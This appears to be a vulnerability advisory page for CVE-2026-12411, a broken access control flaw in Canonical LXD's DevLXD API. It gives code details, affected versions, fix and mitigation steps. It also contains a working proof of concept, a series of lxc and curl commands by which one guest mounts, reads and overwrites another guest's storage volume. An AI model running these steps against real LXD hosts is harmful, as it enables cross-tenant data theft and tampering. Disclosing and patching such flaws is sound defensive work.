NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-12411 — lxd

HIGHFix: canonical/lxd#18585

CVE-2026-12411 is a high-severity (CVSS 8.4) CWE-639 vulnerability in github.com/canonical/lxd. A fix is available for github.com/canonical/lxd — see the affected versions and patch details below.

Broken Access Control in Canonical LXD DevLXD API

Also known asGHSA-hhf9-qw4v-72xpGO-2026-6917
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-12411.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk
0.00%0.26%0.53%0.79%0.1%0.3%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/canonical/lxd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A guest can mount another guest's custom storage volume over /dev/lxd and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with security.devlxd.management.volumes enabled can attach a volume belonging to a different guest by naming it in a device PATCH, giving one tenant full read and write access to another tenant's volume data.

Details

Volumes created over DevLXD get volatile.devlxd.owner set to the calling identity. The storage handlers enforce it on GET/PUT/DELETE (isDevLXDVolumeOwner, lxd/devlxd_storage.go:359) and on volume-copy sources (devlxd_storage.go:286). The device-attach path does not.

devLXDInstancePatchHandler (lxd/devlxd_instances.go:88) passes the guest's device map to generateDevLXDInstanceDevices (devlxd_instances.go:178). For a device that isn't already on the instance, the only check is isDeviceAccessible(device):

if (exists && !isOwned) || (!isDeviceAccessible(device)) 

exists is false for a newly added device, so isDeviceAccessible is the whole gate. It resolves to newDevLXDDeviceAccessValidator (devlxd_instances.go:250), which is diskDeviceAllowed && filters.IsCustomVolumeDisk(device). IsCustomVolumeDisk (lxd/device/filters/disk.go:28) checks the device shape only: type=disk, non-empty source, non-empty pool. It never loads the (pool, source) volume or compares its owner to the caller.

The handler then sets volatile.<dev>.devlxd.owner to the caller and issues an in-process PATCH to instancePatch (lxd/instance_patch.go:55). That call skips the HTTP access handler and runs only project quota checks (limits.AllowInstanceUpdate, instance_patch.go:215) before c.Update. The disk device's validateConfig confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's volatile.devlxd.owner still names the victim.

PoC

Built from source at HEAD d29ece6284 (reports as 6.8, API extension devlxd_volume_management); single host, dir pool, default project.

Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:

lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl

for g in a b; do
  lxc auth identity create devlxd/id$g
  lxc auth group create g$g
  lxc auth group permission add g$g project default can_view
  lxc auth group permission add g$g project default can_view_storage_volumes
  lxc auth group permission add g$g project default can_create_storage_volumes
  lxc auth group permission add g$g instance guest$g can_view project=default
  lxc auth group permission add g$g instance guest$g can_edit project=default
  lxc auth identity group add devlxd/id$g g$g
done
TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)
TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)

With devlxd defined as lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...:

devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'
lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'

devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola     # HTTP 404

devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}'   # HTTP 200

lxc exec guestb -- cat /mnt/stolen/secret.txt                       
lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'

lxc storage volume get default vola volatile.devlxd.owner returns guesta's identity; lxc config device get guestb stolen source returns vola.

Impact

Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with security.devlxd.management.volumes enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns 200 and a missing one returns a not-found error.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/canonical/lxd≥ 0.0.0-20250721152936-fe86ceb2c3fa&&< 0.0.0-20260626085133-7cb96ac80a6d0.0.0-20260626085133-7cb96ac80a6dgo get github.com/canonical/lxd@v0.0.0-20260626085133-7cb96ac80a6d

Affected Products

1 product · 1 configurations
Application
lxdcanonical
≥ 6.6 && < 6.9
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/canonical/lxd to 0.0.0-20260626085133-7cb96ac80a6d or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-12411 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary A guest can mount another guest's custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant's volume data. ### Details Volumes created over DevLXD get `volatile.devlxd.own
O3 Security · Impact-Aware SCA

Is CVE-2026-12411 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-12411: lxd — Fix Available